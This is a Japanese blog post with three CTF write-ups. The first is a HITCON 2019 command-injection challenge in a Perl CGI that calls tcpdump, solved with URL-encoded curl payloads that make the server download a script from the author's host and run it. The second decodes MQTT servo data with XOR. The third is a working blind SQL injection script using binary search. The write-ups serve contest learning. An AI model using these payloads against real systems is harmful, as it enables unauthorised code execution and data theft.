こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

HITCON CTF 2019 Writeup - Virtual Public Network

Question

Vulnerable Point of Your Network :)
http://13.231.137.9

f:id:graneed:20191013050544p:plain

Solution

HTMLソースを表示する。

<!-- Hint for you :)
     <a href='diag.cgi'>diag.cgi</a>
     <a href='DSSafe.pm'>DSSafe.pm</a>  -->

diag.cgiは以下のとおり。

#!/usr/bin/perl
use lib '/var/www/html/';
use strict;

use CGI ();
use DSSafe;


sub tcpdump_options_syntax_check {
    my $options = shift;
    return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0;
    return undef;
}
 
print "Content-type: text/html\n\n";
 
my $options = CGI::param("options");
my $output = tcpdump_options_syntax_check($options);
 

# backdoor :)
my $tpl = CGI::param("tpl");
if (length $tpl > 0 && index($tpl, "..") == -1) {
    $tpl = "./tmp/" . $tpl . ".thtml";
    require($tpl);
}

※DSSafe.pmは大きいため省略。

テキストボックスに入力した文字列は、tcpdumpコマンドのオプションにセットされる。
また、tplパラメータを付与すると./tmp/配下のファイルをrequireで実行してくれる。 つまり、tcpdumpコマンドで./tmp/配下に実行させたいperlソースコードファイルを配備するのが攻略方法のようだ。

出題者がOrange Tsai (@orange_8361)氏なので、氏のBlogや登壇資料を確認する。

Orange: Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study! https://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf

これだ。

まずはls -l /を実行させるため、-r'$x="ls -l /",system$x#' 2>./tmp/vvvvvvvv.thtml <をURLエンコードしてoptionsパラメータにセットする。

root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22ls%20%2Dl%20%2F%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"
total 96
-rwsr-sr-x   1 root root  8520 Oct 11 23:57 $READ_FLAG$
-r--------   1 root root    49 Oct 11 23:59 FLAG
drwxr-xr-x   2 root root  4096 Oct  2 17:11 bin
drwxr-xr-x   3 root root  4096 Oct  2 17:12 boot
drwxr-xr-x  15 root root  2980 Oct 11 19:41 dev
drwxr-xr-x  97 root root  4096 Oct 12 09:15 etc
drwxr-xr-x   4 root root  4096 Oct 11 17:21 home
lrwxrwxrwx   1 root root    31 Oct  2 17:12 initrd.img -> boot/initrd.img-4.15.0-1051-aws
lrwxrwxrwx   1 root root    31 Oct  2 17:12 initrd.img.old -> boot/initrd.img-4.15.0-1051-aws
drwxr-xr-x  20 root root  4096 Oct 11 22:11 lib
drwxr-xr-x   2 root root  4096 Oct  2 17:09 lib64
drwx------   2 root root 16384 Oct  2 17:11 lost+found
drwxr-xr-x   2 root root  4096 Oct  2 17:08 media
drwxr-xr-x   2 root root  4096 Oct  2 17:08 mnt
drwxr-xr-x   3 root root  4096 Oct 11 17:32 opt
dr-xr-xr-x 135 root root     0 Oct 11 19:41 proc
drwx------   5 root root  4096 Oct 12 09:16 root
drwxr-xr-x  25 root root   960 Oct 12 15:46 run
drwxr-xr-x   2 root root  4096 Oct  2 17:11 sbin
drwxr-xr-x   5 root root  4096 Oct 11 17:04 snap
drwxr-xr-x   2 root root  4096 Oct  2 17:08 srv
dr-xr-xr-x  13 root root     0 Oct 11 23:59 sys
drwxrwxrwt   3 root root  4096 Oct 12 20:13 tmp
drwxr-xr-x  10 root root  4096 Oct 11 21:45 usr
drwxr-xr-x  14 root root  4096 Oct 11 21:45 var
lrwxrwxrwx   1 root root    28 Oct  2 17:12 vmlinuz -> boot/vmlinuz-4.15.0-1051-aws
lrwxrwxrwx   1 root root    28 Oct  2 17:12 vmlinuz.old -> boot/vmlinuz-4.15.0-1051-aws

/$READ_FLAG$を実行すればよさそうだが、$記号を使用すると、DSSafe.pmの__parsecmd関数のチェックに引っかかるようだ。 そこで、/$READ_FLAG$を実行するシェルスクリプトをダウンロードさせてから、実行させる。

シェルスクリプトを用意して、ダウンロード用のWebサーバを立てる。

root@ip-172-31-26-179:~/tmp# echo '/\$READ_FLAG\$' > exec.sh
root@ip-172-31-26-179:~/tmp# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

curl myserver/exec.sh -o /tmp/exec.shを実行させる。

root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22curl%20myserver%2Fexec%2Esh%20%2Do%20%2Ftmp%2Fexec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"

sh /tmp/exec.shを実行させる。

root@kali:/mnt/CTF/Contest# curl http://13.231.137.9/cgi-bin/diag.cgi -d "options=%2Dr%24x%3D%22sh%20/tmp/exec%2Esh%22%2Csystem%24x%23%202%3E%2E%2Ftmp%2Fvvvvvvvv%2Ethtml%20%3C" -d "tpl=vvvvvvvv"
hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}

フラグゲット。

Syskron Security CTF Writeup - My servo drive is getting mad

Question

My servo drive sends strange parameters. Can you decode them? I have to go for lunch.

mqtt.ctf.syskron-security.com:1883

Solution

MQTTで接続するようなので、簡単な受信スクリプトを書く。

過去の問題ではMQTT over WebSocketだったが、今回は普通のMQTT。
過去のWriteupは以下。
hxp CTF 2018 Writeup - time for h4x0rpsch0rr? - こんとろーるしーこんとろーるぶい

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, respons_code):
  print('connected')
  client.subscribe('#')

def on_message(client, userdata, msg):
  print(msg.topic + ' ' + str(msg.payload))

client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect('mqtt.ctf.syskron-security.com', 1883, keepalive=60)

実行する。

(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python mqtchall.py 
connected
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'153'
servo/rpm b'147'
servo/rpm b'158'
servo/rpm b'152'
servo/rpm b'132'
servo/rpm b'151'
servo/rpm b'154'
servo/rpm b'147'
servo/rpm b'143'
servo/rpm b'160'
servo/rpm b'146'
servo/rpm b'154'
servo/rpm b'160'
servo/rpm b'207'
servo/rpm b'138'
servo/rpm b'139'
servo/rpm b'130'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
servo/rpm b'0'
(snip)

ASCII文字になりそう。

data = "153 147 158 152 132 151 154 147 143 160 146 154 160 207 138 139 130"
decoded = ""
for i in data.split(" "):
    decoded += (chr(int(i) ^ 0xff))
print(decoded)

実行する。

(venv3) root@kali:/mnt/CTF/Contest/Syskron Security CTF# python decode.py 
flag{help_me_0ut}

CryptixCTF'19 Writeup - Pure Magic

普通のBlind SQL Injectionの問題だが、いつも適当にリニアサーチで解いていたところをバイナリサーチで実装したので、メモとして残しておく。

Question

Like all fairy tails, you need a passphrase to pass through the cave and get the flag!

https://cryptixctf.com/web3

NOTE: The flag format is flag{XXXXX} as usual.

f:id:graneed:20191013204113p:plain

Solution

' or 1=1#を入力すると以下の表示。

You thought it would be that easy?! Hahaha. There is no flag.
But since you have passed the phrase check, here is the query
SELECT * FROM data where password='XXXXX' :)

Blind SQL Injectionでパスフレーズを特定する。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'https://cryptixctf.com/web3/login.php'
target = ""

def trace_request(req):
    print("[+] request start")
    print('{}\n{}\n\n{}'.format(
        req.method + ' ' + req.url,
        '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        req.body,
    ))
    print("[+] request end")

def trace_response(res):
    print("[+] response start")
    print('{}\n{}\n\n{}'.format(
        res.status_code,
        '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
        res.content,
    ))
    print("[+] response end")

def challenge(offset, guess):
    req = requests.Request(
        'POST',
        URL,
        data={
            "pwd" : "' or ASCII(SUBSTRING((select password from data limit 0, 1),{},1)) < {} #".format(offset + 1, guess)
        }
    )
    prepared = req.prepare()
    #trace_request(prepared)
    session = requests.Session()
    #start = time.time() # TimeBased用
    res = session.send(prepared, allow_redirects = False)
    #elapsed_time = time.time() - start # TimeBased用
    #trace_response(res)

    if "There is no flag" in res.content.decode("utf-8"):
        return True # 取得したい文字の文字コードは予想文字の文字コードより小さい
    else:
        return False # 取得したい文字の文字コードは予想文字の文字コード以上

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)

実行する。

root@kali:/mnt/CTF/Contest# python3 BlindSQLInjection_binary.py 
[+] target: B
[+] target: Bl
[+] target: Bl1
[+] target: Bl1n
[+] target: Bl1nD
[+] target: Bl1nD_
[+] target: Bl1nD_S
[+] target: Bl1nD_S0
[+] target: Bl1nD_S0r
[+] target: Bl1nD_S0rc
[+] target: Bl1nD_S0rc3
[+] target: Bl1nD_S0rc3r
[+] target: Bl1nD_S0rc3r3
[+] target: Bl1nD_S0rc3r3r
[+] target: Bl1nD_S0rc3r3ry
[+] target: Bl1nD_S0rc3r3ry

flag{Bl1nD_S0rc3r3ry}がフラグ。